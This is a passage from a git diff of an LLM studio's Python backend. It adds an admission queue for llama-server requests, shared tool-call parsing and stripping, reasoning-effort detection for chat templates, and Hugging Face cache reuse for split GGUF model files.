+def _optional_positive_int_env(name: str, default: Optional[int]) -> Optional[int]:
+    value = os.environ.get(name)
+    if value is None or not value.strip():
+        return default
+    try:
+        parsed = int(value.strip())
+    except ValueError:
+        return default
+    return parsed if parsed > 0 else None
+
+
+def llama_admission_config_from_env() -> LlamaAdmissionConfig:
+    return LlamaAdmissionConfig(
+        enabled = _bool_env(ADMISSION_CONTROL_ENV, DEFAULT_ADMISSION_ENABLED),
+        queue_timeout_s = _optional_positive_float_env(
+            ADMISSION_QUEUE_TIMEOUT_ENV,
+            DEFAULT_ADMISSION_QUEUE_TIMEOUT_S,
+        ),
+        keepalive_interval_s = _positive_float_env(
+            ADMISSION_KEEPALIVE_INTERVAL_ENV,
+            DEFAULT_ADMISSION_KEEPALIVE_INTERVAL_S,
+        ),
+        max_queue = _optional_positive_int_env(
+            ADMISSION_MAX_QUEUE_ENV,
+            DEFAULT_ADMISSION_MAX_QUEUE,
+        ),
+    )
+
+
+@dataclass
+class _Waiter:
+    loop: asyncio.AbstractEventLoop
+    future: asyncio.Future
+    cancelled: bool = False
+    granted_lease: Optional["LlamaAdmissionLease"] = None
+
+
+class LlamaAdmissionLease:
+    def __init__(self, queue: Optional["LlamaAdmissionQueue"]):
+        self._queue = queue
+        self._released = False
+        self._release_lock = threading.Lock()
+
+    def release(self) -> None:
+        queue = None
+        with self._release_lock:
+            if self._released:
+                return
+            self._released = True
+            queue = self._queue
+        if queue is not None:
+            queue.release()
+
+    async def __aenter__(self) -> "LlamaAdmissionLease":
+        return self
+
+    async def __aexit__(self, *_args) -> None:
+        self.release()
+
+
+class LlamaAdmissionReservation:
+    def __init__(
+        self,
+        *,
+        queue: Optional["LlamaAdmissionQueue"],
+        lease: Optional[LlamaAdmissionLease] = None,
+        waiter: Optional[_Waiter] = None,
+        snapshot: Optional[LlamaAdmissionSnapshot] = None,
+    ):
+        self._queue = queue
+        self._lease = lease
+        self._waiter = waiter
+        self.snapshot = snapshot
+
+    @property
+    def is_cancelled(self) -> bool:
+        return self._lease is None and self._waiter is None
+
+    def lease_nowait(self) -> Optional[LlamaAdmissionLease]:
+        if self._lease is not None:
+            return self._lease
+        if self._waiter is None or not self._waiter.future.done():
+            return None
+        if self._waiter.future.cancelled():
+            self._waiter.cancelled = True
+            self._waiter = None
+            return None
+        self._lease = self._waiter.future.result()
+        self._waiter = None
+        return self._lease
+
+    async def wait(self, timeout_s: float) -> Optional[LlamaAdmissionLease]:
+        lease = self.lease_nowait()
+        if lease is not None:
+            return lease
+        if self._waiter is None:
+            return None
+        waiter = self._waiter
+        try:
+            await asyncio.wait_for(asyncio.shield(waiter.future), timeout = timeout_s)
+        except asyncio.CancelledError:
+            if waiter.future.cancelled():
+                waiter.cancelled = True
+                if self._waiter is waiter:
+                    self._waiter = None
+                return None
+            raise
+        return self.lease_nowait()
+
+    def cancel(self) -> None:
+        lease = self.lease_nowait()
+        if lease is not None:
+            lease.release()
+            self._lease = None
+            return
+        if self._queue is not None and self._waiter is not None:
+            self._queue.cancel(self._waiter)
+        self._waiter = None
+
+    def snapshot_now(self) -> Optional[LlamaAdmissionSnapshot]:
+        if self._queue is None:
+            return self.snapshot
+        return self._queue.snapshot()
+
+
+class LlamaAdmissionQueue:
+    def __init__(self, key: str):
+        self.key = key
+        self._lock = threading.Lock()
+        self._active = 0
+        self._capacity = 1
+        self._waiters: Deque[_Waiter] = deque()
+
+    def reserve(self, *, capacity: int, config: LlamaAdmissionConfig) -> LlamaAdmissionReservation:
+        capacity = max(1, int(capacity or 1))
+        if not config.enabled:
+            return LlamaAdmissionReservation(
+                queue = None,
+                lease = LlamaAdmissionLease(None),
+                snapshot = LlamaAdmissionSnapshot(self.key, capacity, 0, 0),
+            )
+
+        loop = asyncio.get_running_loop()
+        with self._lock:
+            self._capacity = capacity
+            self._prune_waiters_locked()
+            self._grant_waiters_locked()
+            if self._active < self._capacity and not self._waiters:
+                self._active += 1
+                return LlamaAdmissionReservation(
+                    queue = self,
+                    lease = LlamaAdmissionLease(self),
+                    snapshot = self._snapshot_locked(),
+                )
+            if config.max_queue is not None and len(self._waiters) >= config.max_queue:
+                raise LlamaAdmissionQueueFull(
+                    "llama-server generation queue is full",
+                    snapshot = self._snapshot_locked(),
+                )
+            waiter = _Waiter(
+                loop = loop,
+                future = loop.create_future(),
+            )
+            self._waiters.append(waiter)
+            return LlamaAdmissionReservation(
+                queue = self,
+                waiter = waiter,
+                snapshot = self._snapshot_locked(),
+            )
+
+    def release(self) -> None:
+        with self._lock:
+            if self._active > 0:
+                self._active -= 1
+            self._grant_waiters_locked()
+
+    def cancel(self, waiter: _Waiter) -> None:
+        lease_to_release = None
+        with self._lock:
+            waiter.cancelled = True
+            try:
+                self._waiters.remove(waiter)
+            except ValueError:
+                pass
+            if waiter.granted_lease is not None:
+                lease_to_release = waiter.granted_lease
+                waiter.granted_lease = None
+            if not waiter.future.done():
+                waiter.loop.call_soon_threadsafe(waiter.future.cancel)
+        if lease_to_release is not None:
+            lease_to_release.release()
+
+    def snapshot(self) -> LlamaAdmissionSnapshot:
+        with self._lock:
+            self._prune_waiters_locked()
+            return self._snapshot_locked()
+
+    def is_idle(self) -> bool:
+        with self._lock:
+            self._prune_waiters_locked()
+            return self._active == 0 and not self._waiters
+
+    def _grant_waiters_locked(self) -> None:
+        self._prune_waiters_locked()
+        while self._waiters and self._active < self._capacity:
+            waiter = self._waiters.popleft()
+            if waiter.cancelled or waiter.future.done():
+                continue
+            self._active += 1
+            lease = LlamaAdmissionLease(self)
+            waiter.granted_lease = lease
+            waiter.loop.call_soon_threadsafe(self._deliver_lease, waiter, lease)
+
+    def _deliver_lease(self, waiter: _Waiter, lease: LlamaAdmissionLease) -> None:
+        if waiter.cancelled or waiter.future.done():
+            waiter.granted_lease = None
+            if not waiter.future.done():
+                waiter.future.cancel()
+            lease.release()
+            return
+        try:
+            waiter.future.set_result(lease)
+            waiter.granted_lease = None
+        except asyncio.InvalidStateError:
+            waiter.granted_lease = None
+            lease.release()
+
+    def _prune_waiters_locked(self) -> None:
+        self._waiters = deque(
+            waiter for waiter in self._waiters if not waiter.cancelled and not waiter.future.done()
+        )
+
+    def _snapshot_locked(self) -> LlamaAdmissionSnapshot:
+        return LlamaAdmissionSnapshot(
+            key = self.key,
+            capacity = self._capacity,
+            active = self._active,
+            queued = len(self._waiters),
+        )
+
+
+_QUEUES_LOCK = threading.Lock()
+_QUEUES: dict[str, LlamaAdmissionQueue] = {}
+
+
+def get_llama_admission_queue(key: str) -> LlamaAdmissionQueue:
+    with _QUEUES_LOCK:
+        queue = _QUEUES.get(key)
+        if queue is None:
+            queue = LlamaAdmissionQueue(key)
+            _QUEUES[key] = queue
+            # base_url carries a fresh ephemeral port on every model load, so
+            # each load registers a new key. Drop the now-idle queues from prior
+            # loads so the registry can't grow without bound on a long-running
+            # server. Queues with in-flight requests are kept until they drain.
+            for stale_key in [k for k in _QUEUES if k != key and _QUEUES[k].is_idle()]:
+                del _QUEUES[stale_key]
+        return queue
+
+
+def reset_llama_admission_queues() -> None:
+    with _QUEUES_LOCK:
+        _QUEUES.clear()
diff --git a/studio/backend/core/inference/llama_cpp.py b/studio/backend/core/inference/llama_cpp.py
index af62a29679..fec5214cf9 100644
--- a/studio/backend/core/inference/llama_cpp.py
+++ b/studio/backend/core/inference/llama_cpp.py
@@ -9,6 +9,7 @@ OpenAI-compatible /v1/chat/completions endpoint.
 
 import atexit
 import contextlib
+import functools
 import json
 import os
 import re
@@ -38,9 +39,35 @@ from core.inference.llama_server_args import (
     strip_shadowing_flags,
     strip_split_mode_only,
 )
+
+# Share strip / signal constants with the multi-format parser so BUFFERING also
+# catches Llama-3 / Mistral / Gemma 4 (legacy helper only knew <tool_call> / <function=).
+from core.inference.tool_call_parser import (
+    _GEMMA_BARE_TC_PREFIX_RE,
+    _GEMMA_BARE_TC_RE,
+    _TOOL_ALL_PATS as _PARSER_TOOL_ALL_PATS,
+    _TOOL_CLOSED_PATS as _PARSER_TOOL_CLOSED_PATS,
+    _balanced_brace_end,
+    _strip_function_xml_calls,
+    _strip_gemma_wrapperless_calls,
+    _strip_glm_calls,
+    _strip_mistral_closed_calls,
+    TOOL_XML_SIGNALS as _SHARED_TOOL_XML_SIGNALS,
+    RAG_MAX_SEARCHES_PER_TURN,
+    RAG_SEARCH_CAP_NUDGE,
+    parse_tool_calls_from_text as _shared_parse_tool_calls_from_text,
+    strip_leading_bare_json_call,
+    strip_llama3_leading_sentinels,
+    strip_tool_markup as _shared_strip_tool_markup,
+)
+
+# The healer owns the bracket-tag + rehearsal strip helpers and their name-gated
+# pattern lists, so the GGUF streaming strip stays aligned with the parser.
 from core.tool_healing import (
-    _TOOL_ALL_PATS,
-    strip_tool_call_markup,
+    _REHEARSAL_TAIL_STRIP_RE,
+    _strip_bracket_tag_calls,
+    apply_tool_strip_patterns,
+    strip_outside_think,
 )
 from utils.native_path_leases import child_env_without_native_path_secret
 from utils.hf_xet_fallback import hf_hub_download_with_xet_fallback
@@ -49,13 +76,14 @@ from utils.subprocess_compat import (
 )
 from utils.process_lifetime import child_popen_kwargs as _child_popen_kwargs
 from core.inference.tool_call_parser import (
-    RAG_MAX_SEARCHES_PER_TURN,
-    RAG_SEARCH_CAP_NUDGE,
-    TOOL_XML_SIGNALS,
-    parse_tool_calls_from_text as _shared_parse_tool_calls_from_text,
+    MAX_ACT_REPROMPTS as _MAX_REPROMPTS,
+    REPROMPT_MAX_CHARS as _REPROMPT_MAX_CHARS,
+    is_short_intent_without_action as _is_short_intent_without_action,
+    reprompt_to_act_message as _reprompt_to_act_message,
 )
 from core.inference.tool_loop_controller import (
     ToolLoopController,
+    append_deferred_nudges,
     tool_event_provenance,
 )
 from state.tool_approvals import (
@@ -74,6 +102,10 @@ class LlamaServerNotFoundError(RuntimeError):
     Subclasses RuntimeError so existing handlers still catch it."""
 
 
+class _LlamaStreamCancelled(Exception):
+    """Internal signal for an expected client/request cancellation."""
+
+
 # Shared so the from_identifier preflight and the load-time raise stay in sync.
 LLAMA_SERVER_NOT_FOUND_DETAIL = (
     "This is a GGUF model, but the llama.cpp runtime (llama-server) is not "
@@ -202,25 +234,8 @@ def _wsl_system_rocm_lib_dirs() -> "list[str]":
     return out
 
 
-# ── Pre-compiled patterns for plan-without-action re-prompt ──
-# Forward-looking intent signals: the model is describing what it *will*
-# do rather than giving a final answer.
-_INTENT_SIGNAL = re.compile(
-    r"(?i)("
-    # Direct intent ("I'll ...", "Let me ...", straight + curly apostrophes).
-    # Excludes "I can"/"I should"/"I want to"/"let's" (common in answers).
-    # Negative lookahead drops negated forms ("I will not") so a refusal
-    # doesn't trigger a re-prompt.
-    r"\b(i['\u2019](ll|m going to|m gonna)|i am (going to|gonna)|i will|i shall|let me|allow me)\b(?!\s+(?:not|never)\b)"
-    r"|"
-    # Step/plan framing: "First ...", "Step 1:", "Here's my plan"
-    r"\b(?:first\b|step \d+:?|here['\u2019]?s (?:my |the |a )?(?:plan|approach))"
-    r"|"
-    # "Now I" / "Next I" patterns
-    r"\b(?:now i|next i)\b"
-    r")"
-)
-_MAX_REPROMPTS = 1
+# Plan-without-action re-prompt state (intent signal, caps, message) now lives
+# in tool_call_parser, imported above under its old aliases.
 
 # Default max_tokens to the effective context when known. The floor is high
 # enough for reasoning-heavy GGUFs and max_tokens-omitting API clients.
@@ -231,7 +246,10 @@ _DEFAULT_FIRST_TOKEN_TIMEOUT_S = 1200.0  # 20 min
 # is exempt because it needs immediate artifact feedback.
 _PROVISIONAL_ARGS_MIN_CHARS = 256
 _DEFAULT_STREAM_STALL_TIMEOUT_S = 120.0  # 2 min
-_REPROMPT_MAX_CHARS = 2000
+# Cap tool calls from a single TEXTUAL-fallback turn (mirrors the safetensors
+# loop). Structured delta.tool_calls are grammar-bounded by llama-server; text
+# parsed from content is not, so one runaway turn could fan out unbounded.
+_MAX_TOOL_CALLS_PER_TURN = 8
 _FORCED_REPEAT_PLAN_SIGNAL = re.compile(
     r"\b(?:i\s+will|i'll|let\s+me|going\s+to|need\s+to|call|use|run|search|fetch|render)\b",
     re.I,
@@ -242,9 +260,91 @@ _FINAL_ANSWER_SIGNAL = re.compile(
 )
 
 
-def _is_short_intent_without_action(text: str) -> bool:
-    stripped = text.strip()
-    return 0 < len(stripped) < _REPROMPT_MAX_CHARS and _INTENT_SIGNAL.search(stripped) is not None
+def _gguf_active_tool_names(active_tools: list[dict]) -> list[str]:
+    names = [
+        (tool.get("function") or {}).get("name")
+        for tool in (active_tools or [])
+        if isinstance(tool, dict) and isinstance(tool.get("function"), dict)
+    ]
+    return [name for name in names if name]
+
+
+# Rehearsal NAME chars (word + hyphen, matching the parser); the lookbehind excludes the
+# Mistral [CALL_ID]...[ARGS] shape.
+_GGUF_REHEARSAL_ARGS_RE = re.compile(r"(?<!\[CALL_ID\])\b([\w-]+)\[ARGS\]")
+
+
+def _gguf_rehearsal_signal_pos(text: str, active_tools: list[dict]) -> int:
+    """Index of the first ``NAME[ARGS]`` whose NAME is an active tool, else -1. A
+    bare/inactive-name ``foo[ARGS]`` in prose is not a call; mirrors the safetensors
+    ``_earliest_tool_signal`` name-gating (no unrestricted GGUF mode)."""
+    active = set(_gguf_active_tool_names(active_tools))
+    if not active:
+        return -1
+    for m in _GGUF_REHEARSAL_ARGS_RE.finditer(text):
+        if m.group(1) in active:
+            return m.start()
+    return -1
+
+
+def _gguf_has_genuine_tool_signal(text: str, signals, active_tools: list[dict]) -> bool:
+    """True when ``text`` holds a genuine tool-call boundary for one of ``signals``.
+
+    Unambiguous markers (``<tool_call>``, ``[TOOL_CALLS]``, ``<function=``) count on a
+    plain substring hit; an ``[ARGS]`` hit is genuine only when an active tool name
+    precedes it, so inactive-name prose is neither drained nor parsed."""
+    for sig in signals:
+        if sig == "[ARGS]":
+            if _gguf_rehearsal_signal_pos(text, active_tools) >= 0:
+                return True
+            continue
+        if sig in text:
+            return True
+    return False
+
+
+_TEXT_TOOL_NAME_RE = re.compile(r'"name"\s*:\s*"([\w.\-]+)"')
+_TEXT_TOOL_GEMMA_RE = re.compile(r"\s*call:([\w.\-]+)")
+_TEXT_TOOL_REHEARSAL_RE = re.compile(r"\s*([\w.\-]+)\s*\[ARGS\]")
+
+
+def _sniff_text_tool_name(text: str, enabled_names: set) -> str:
+    """Best-effort tool name from a partially drained TEXT tool call, gated on
+    enabled names so prose can never spawn a card. Used only to open the live
+    argument pane early; the authoritative parse still happens at stream end."""
+    m = _TEXT_TOOL_NAME_RE.search(text[:4096])
+    if m and m.group(1) in enabled_names:
+        return m.group(1)
+    m = _TEXT_TOOL_GEMMA_RE.match(text[:256])
+    if m and m.group(1) in enabled_names:
+        return m.group(1)
+    m = _TEXT_TOOL_REHEARSAL_RE.match(text[:256])
+    if m and m.group(1) in enabled_names:
+        return m.group(1)
+    return ""
+
+
+def _is_rehearsal_prefix(stripped: str, active_tools: list[dict]) -> bool:
+    """True if ``stripped`` is a (possibly partial) prefix of ``NAME[ARGS]`` for an
+    active tool -- the bare tool name arriving in its own chunk before ``[ARGS]{...}``.
+    Mirrors the safetensors loop so the split rehearsal call is not streamed."""
+    if not stripped or any(ch.isspace() for ch in stripped):
+        return False
+    for name in _gguf_active_tool_names(active_tools):
+        if stripped == name or f"{name}[ARGS]".startswith(stripped):
+            return True
+    return False
+
+
+def _held_rehearsal_tail_len(text: str, active_tools: list[dict]) -> int:
+    """Length of a trailing bare tool-name token that may be a split rehearsal call
+    (``...web_search`` with ``[ARGS]{...}`` still to arrive), so STREAMING can hold it
+    instead of leaking the name. Returns 0 for ordinary prose. Mirrors safetensors."""
+    i = len(text)
+    while i > 0 and not text[i - 1].isspace():
+        i -= 1
+    tail = text[i:]
+    return len(tail) if tail and _is_rehearsal_prefix(tail, active_tools) else 0
 
 
 def _should_suppress_forced_no_tool_output(text: str) -> bool:
@@ -304,6 +404,19 @@ def _probe_dns_dead(host: str = "huggingface.co", timeout: float = 2.0) -> bool:
     return True if result[0] is None else result[0]
 
 
+def _hf_env_offline() -> bool:
+    """True when an HF offline env var is set to any truthy value (1/true/yes/on).
+
+    Mirrors utils.models.model_config._env_offline so a user-set HF_HUB_OFFLINE=true
+    (not just "1") still routes through the local-cache reuse path below.
+    """
+    try:
+        from utils.models.model_config import _env_offline
+        return _env_offline()
+    except Exception:
+        return os.environ.get("HF_HUB_OFFLINE", "").strip().lower() in {"1", "true", "yes", "on"}
+
+
 @contextlib.contextmanager
 def _hf_offline_if_dns_dead():
     """Set HF_HUB_OFFLINE for this block only when DNS to huggingface.co fails;
@@ -541,17 +654,29 @@ _TOOL_TEMPLATE_MARKERS = (
     "{%- if tools -%}",
     "{% if tools %}",
     "{% if tools -%}",
+    # Defensive templates guard with `tools is defined` before truth-testing
+    # (e.g. Inkling: `{%- if tools is defined and tools -%}`).
+    "{%- if tools is defined",
+    "{% if tools is defined",
     '"role" == "tool"',
     "'role' == 'tool'",
     'message.role == "tool"',
     "message.role == 'tool'",
+    # DeepSeek: no top-level ``{% if tools %}`` block; it gates emission on
+    # ``message['role'] == 'tool'`` plus ``message['tool_calls'] is defined``.
+    "message['role'] == 'tool'",
+    'message["role"] == "tool"',
+    "message['tool_calls']",
+    'message["tool_calls"]',
+    "tool_calls is defined",
 )
 
 
 # Canonical reasoning_effort levels, weakest -> strongest. Used to read the
-# discrete set a template branches on (e.g. GLM-5.2 uses 'high' | 'max') so we
-# only ever offer levels the template actually understands.
-_REASONING_EFFORT_SCALE = ("minimal", "low", "medium", "high", "max")
+# discrete set a template branches on (e.g. GLM-5.2 uses 'high' | 'max', Inkling
+# uses the full 'none'..'max' ladder) so we only ever offer levels the template
+# actually understands.
+_REASONING_EFFORT_SCALE = ("none", "minimal", "low", "medium", "high", "xhigh", "max")
 
 
 def _extract_reasoning_effort_levels(chat_template: str) -> list:
@@ -605,6 +730,16 @@ def detect_reasoning_flags(
         else []
     )
     if effort_levels:
+        # DeepSeek-V4's encoder accepts reasoning_effort {'high', 'max'} but its
+        # template only branches on 'max', so the literal scan misses 'high'. Add it
+        # (matched on whole repo-name segments, so 'deepseek-v40' won't false-match)
+        # to expose the full none/high/max ladder instead of none/max.
+        segments = re.split(r"[-_.]", (model_identifier or "").lower().split("/")[-1])
+        is_dsv4 = "deepseek4" in segments or any(
+            a == "deepseek" and b == "v4" for a, b in zip(segments, segments[1:])
+        )
+        if is_dsv4 and "high" not in effort_levels:
+            effort_levels = sorted(set(effort_levels) | {"high"}, key = _REASONING_EFFORT_SCALE.index)
         # GLM-5.2-style: an enable_thinking on/off gate PLUS a reasoning_effort
         # level among a discrete set (e.g. 'high' | 'max'). Distinct from
         # gpt-oss (reasoning_effort only, no on/off gate) and Qwen
@@ -623,10 +758,22 @@ def detect_reasoning_flags(
         logger.info(f"{prefix}model supports reasoning (enable_thinking)")
     elif "reasoning_effort" in tpl:
         # gpt-oss / Harmony use reasoning_effort
-        # ("low" | "medium" | "high"), not a boolean.
+        # ("low" | "medium" | "high"), not a boolean. Inkling maps a wider
+        # named ladder ('none'..'max'); surface the levels the template
+        # actually branches on so the Think menu offers exactly those and
+        # nothing more ('none' renders as thinking off: effort 0). Guard:
+        # trust the scan only when it includes the core 'low' and 'high'
+        # literals, so a template that quotes e.g. 'none' for an unrelated
+        # comparison keeps the default low/medium/high set.
         flags["supports_reasoning"] = True
         flags["reasoning_style"] = "reasoning_effort"
-        logger.info(f"{prefix}model supports reasoning (reasoning_effort)")
+        scanned = _extract_reasoning_effort_levels(tpl)
+        if "low" in scanned and "high" in scanned:
+            flags["reasoning_effort_levels"] = scanned
+        logger.info(
+            f"{prefix}model supports reasoning "
+            f"(reasoning_effort: {flags['reasoning_effort_levels'] or 'default levels'})"
+        )
     elif "thinking" in tpl:
         # DeepSeek uses 'thinking', not 'enable_thinking'
         normalized_id = (model_identifier or "").lower()
@@ -747,6 +894,389 @@ def _gguf_snapshot_files(snapshot: Path) -> list[str]:
     ]
 
 
+def _cached_hf_snapshot_file(
+    repo_id: str,
+    filename: str,
+    *,
+    expected_size: Optional[int] = None,
+) -> Optional[str]:
+    """Return a cached snapshot file even when HF's current-ref probe misses it."""
+    if not filename:
+        return None
+    parts = [part for part in filename.replace("\\", "/").split("/") if part]
+    if not parts or any(part in (".", "..") for part in parts):
+        return None
+    try:
+        from utils.models.model_config import _iter_hf_cache_snapshots
+        for snap in _iter_hf_cache_snapshots(repo_id):
+            candidate = snap.joinpath(*parts)
+            if not candidate.is_file():
+                continue
+            if expected_size:
+                try:
+                    if candidate.stat().st_size < expected_size:
+                        continue
+                except OSError:
+                    continue
+            return str(candidate)
+    except Exception as e:
+        logger.debug("Snapshot cache lookup failed for %s/%s: %s", repo_id, filename, e)
+    return None
+
+
+def _snapshot_has_all_shards(
+    main_path: str, main_filename: str, shards: Iterable[str], expected_sizes: dict[str, int]
+) -> bool:
+    """True when every shard sits beside ``main_path`` in the same cache snapshot.
+
+    llama.cpp loads a split GGUF by resolving its siblings from the main shard's
+    directory, so a cached main shard is only safe to reuse when the rest of the
+    set is co-located; otherwise the caller must fetch the whole set together.
+    """
+    root = Path(main_path)
+    for _ in [part for part in main_filename.replace("\\", "/").split("/") if part]:
+        root = root.parent
+    for shard in shards:
+        parts = [part for part in shard.replace("\\", "/").split("/") if part]
+        if not parts or any(part in (".", "..") for part in parts):
+            return False
+        sibling = root.joinpath(*parts)
+        try:
+            if not sibling.is_file():
+                return False
+            expected = expected_sizes.get(shard)
+            if expected and sibling.stat().st_size < expected:
+                return False
+        except OSError:
+            return False
+    return True
+
+
+def _resolve_repo_id_casing(hf_repo: str) -> str:
+    """Map a requested repo id to its cached canonical casing, or return it unchanged.
+
+    A case-variant request (for example a lowercased id) resolves to the
+    canonical-cased cache directory so the main GGUF and its companions
+    (mmproj / MTP drafter) all read the same cache entry. Returns ``hf_repo``
+    unchanged when resolution is unavailable or errors.
+    """
+    try:
+        from utils.paths import resolve_cached_repo_id_case
+        return resolve_cached_repo_id_case(hf_repo)
+    except Exception:
+        return hf_repo
+
+
+def _cached_colocated_split_main(
+    repo_id: str, main_filename: str, shards: Iterable[str], expected_sizes: dict[str, int]
+) -> Optional[str]:
+    """Main-shard path from a cache snapshot that also holds every sibling shard.
+
+    A newer snapshot may hold only the first shard while an older snapshot has the
+    complete split set. ``_cached_hf_snapshot_file`` would return that newer partial
+    main and the co-location check would then force a refetch, so scan snapshots for
+    one where the whole set is present and return that main path instead. None when
+    no snapshot holds the full set.
+    """
+    main_parts = [part for part in main_filename.replace("\\", "/").split("/") if part]
+    if not main_parts or any(part in (".", "..") for part in main_parts):
+        return None
+    try:
+        from utils.models.model_config import _iter_hf_cache_snapshots
+        for snap in _iter_hf_cache_snapshots(repo_id):
+            main_path = snap.joinpath(*main_parts)
+            if not main_path.is_file():
+                continue
+            expected_main = expected_sizes.get(main_filename)
+            try:
+                if expected_main and main_path.stat().st_size < expected_main:
+                    continue
+            except OSError:
+                continue
+            if _snapshot_has_all_shards(str(main_path), main_filename, shards, expected_sizes):
+                return str(main_path)
+    except Exception as e:
+        logger.debug("Co-located split snapshot lookup failed for %s: %s", repo_id, e)
+    return None
+
+
+def _cached_variant_resolution(repo_id: str, hf_variant: str) -> tuple[Optional[str], list[str]]:
+    """Find a cached main GGUF and its shards for a variant."""
+    candidate = next(_cached_variant_candidates(repo_id, hf_variant), None)
+    if candidate is None:
+        return None, []
+    _, main, shards, _ = candidate
+    return main, shards
+
+
+def _cached_variant_candidates(
+    repo_id: str,
+    hf_variant: str,
+    *,
+    require_mmproj: bool = False,
+) -> Generator[tuple[str, str, list[str], Path], None, None]:
+    """Yield complete cached variant copies in snapshot preference order."""
+    try:
+        from utils.models.model_config import _iter_hf_cache_snapshots
+        for snap in _iter_hf_cache_snapshots(repo_id):
+            cached_files = _gguf_snapshot_files(snap)
+            matches = _gguf_files_for_variant(cached_files, hf_variant)
+            if not matches:
+                continue
+            main = matches[0]
+            shards = _gguf_extra_shards(matches, main)
+            split = _SHARD_FULL_RE.match(main)
+            if split:
+                numbers = {
+                    int(match.group(2))
+                    for path in [main, *shards]
+                    if (match := _SHARD_FULL_RE.match(path))
+                }
+                if numbers != set(range(1, int(split.group(3)) + 1)):
+                    continue
+            main_path = snap.joinpath(*main.replace("\\", "/").split("/"))
+            if not main_path.is_file() or not _snapshot_has_all_shards(
+                str(main_path), main, shards, {}
+            ):
+                continue
+            if require_mmproj and not _pick_mmproj(cached_files):
+                continue
+            yield str(main_path), main, shards, snap
+    except Exception as e:
+        logger.debug(f"Cache lookup for variant failed: {e}")
+
+
+def _cached_candidate_matches_revision_size(
+    repo_id: str, candidate: tuple[str, str, list[str], Path], hf_token: Optional[str]
+) -> bool:
+    """Check cached byte sizes against the snapshot's own Hub revision.
+
+    A snapshot pointer is normally published only after its blob is complete.
+    When the old revision is still queryable, also compare every weight file's
+    size so a manually truncated cache entry is not treated as reusable. If
+    metadata cannot be reached, retain the cache's normal offline semantics.
+    """
+    main_path, main, shards, snap = candidate
+    paths = [main, *shards]
+    try:
+        from huggingface_hub import get_paths_info
+        infos = list(
+            get_paths_info(
+                repo_id,
+                paths,
+                revision = snap.name,
+                token = hf_token,
+            )
+        )
+    except Exception as e:
+        logger.debug(
+            "Could not size-check cached GGUF %s at revision %s: %s",
+            repo_id,
+            snap.name,
+            e,
+        )
+        return True
+
+    if not infos:
+        # The Hub answers an unknown (e.g. force-pushed away) revision with an
+        # empty result, not an error; treat it like unreachable metadata.
+        return True
+    expected_sizes = {info.path: info.size for info in infos if info.size is not None}
+    if any(path not in expected_sizes for path in paths):
+        return False
+    try:
+        if os.path.getsize(main_path) < expected_sizes[main]:
+            return False
+    except OSError:
+        return False
+    return _snapshot_has_all_shards(main_path, main, shards, expected_sizes)
+
+
+def _cached_complete_candidate(
+    repo_id: str, gguf_filename: Optional[str], shards: list[str]
+) -> Optional[tuple[str, str, list[str], Path]]:
+    """Return one complete exact-filename cache candidate with snapshot context."""
+    if not gguf_filename:
+        return None
+    if shards:
+        main_path = _cached_colocated_split_main(repo_id, gguf_filename, shards, {})
+    else:
+        m = _SHARD_FULL_RE.match(gguf_filename)
+        if m and int(m.group(3)) > 1:
+            return None
+        main_path = _cached_hf_snapshot_file(repo_id, gguf_filename)
+    if main_path is None:
+        return None
+    snap = _snapshot_dir_of(main_path)
+    if snap is None:
+        return None
+    return main_path, gguf_filename, shards, snap
+
+
+def cached_gguf_for_load(
+    hf_repo: str,
+    hf_variant: Optional[str],
+    *,
+    require_mmproj: bool = False,
+    verify_sizes: bool = False,
+    hf_token: Optional[str] = None,
+) -> Optional[str]:
+    """Return a cached GGUF that can be loaded without downloading."""
+    if not hf_variant:
+        return None
+    hf_repo = _resolve_repo_id_casing(hf_repo)
+    for candidate in _cached_variant_candidates(
+        hf_repo,
+        hf_variant,
+        require_mmproj = require_mmproj,
+    ):
+        if verify_sizes and not _cached_candidate_matches_revision_size(
+            hf_repo, candidate, hf_token
+        ):
+            continue
+        return candidate[0]
+    return None
+
+
+def _snapshot_dir_of(path: str) -> Optional[Path]:
+    """Return the HF cache snapshot containing path, if any."""
+    try:
+        p = Path(os.path.abspath(path))
+    except OSError:
+        return None
+    for ancestor in p.parents:
+        if ancestor.parent.name == "snapshots":
+            return ancestor
+    return None
+
+
+def _companion_snapshot_sibling(
+    near_path: str, pick: Callable[[list[str]], Optional[str]]
+) -> Optional[str]:
+    """Find a companion in the same snapshot as near_path."""
+    snap = _snapshot_dir_of(near_path)
+    if snap is None:
+        return None
+    try:
+        sibling = pick(_gguf_snapshot_files(snap))
+    except Exception:
+        return None
+    if not sibling:
+        return None
+    candidate = snap / sibling
+    return str(candidate) if candidate.is_file() else None
+
+
+def _pick_mmproj(candidates: list[str]) -> Optional[str]:
+    mmproj_files = sorted(
+        f for f in candidates if f.lower().endswith(".gguf") and "mmproj" in Path(f).name.lower()
+    )
+    if not mmproj_files:
+        return None
+    return next((f for f in mmproj_files if f.lower().endswith("-f16.gguf")), mmproj_files[0])
+
+
+def _hub_download_in_flight(hf_repo: str) -> bool:
+    try:
+        from hub.utils.download_registry import get_models_registry
+        return bool(get_models_registry().active_job_refs(hf_repo))
+    except Exception:
+        return False
+
+
+def _hub_download_blocks_gguf_load(
+    hf_repo: str,
+    hf_variant: Optional[str],
+    *,
+    require_mmproj: bool = False,
+    hf_token: Optional[str] = None,
+) -> bool:
+    """Whether an active Hub job makes this GGUF load unsafe.
+
+    Same-variant jobs can reclaim the stale snapshot a load would reuse, so
+    they always block. Other jobs block only when this load lacks a complete
+    cached copy and would write to the shared cache itself.
+    """
+    try:
+        from hub.utils.download_registry import get_models_registry
+
+        registry = get_models_registry()
+        if not registry.active_job_refs(hf_repo):
+            return False
+        if registry.has_active_variant(hf_repo, hf_variant):
+            return True
+    except Exception:
+        return False
+    return (
+        cached_gguf_for_load(
+            hf_repo,
+            hf_variant,
+            require_mmproj = require_mmproj,
+            verify_sizes = True,
+            hf_token = hf_token,
+        )
+        is None
+    )
+
+
+# Active GGUF loads by normalized repo ID.
+_LOADS_IN_FLIGHT: dict[str, int] = {}
+_LOADS_IN_FLIGHT_LOCK = threading.Lock()
+
+
+@contextlib.contextmanager
+def gguf_load_in_flight(hf_repo: Optional[str]):
+    """Track an HF GGUF load until the context exits."""
+    key = (hf_repo or "").strip().lower()
+    if not key:
+        yield
+        return
+    with _LOADS_IN_FLIGHT_LOCK:
+        _LOADS_IN_FLIGHT[key] = _LOADS_IN_FLIGHT.get(key, 0) + 1
+    try:
+        yield
+    finally:
+        with _LOADS_IN_FLIGHT_LOCK:
+            remaining = _LOADS_IN_FLIGHT.get(key, 1) - 1
+            if remaining <= 0:
+                _LOADS_IN_FLIGHT.pop(key, None)
+            else:
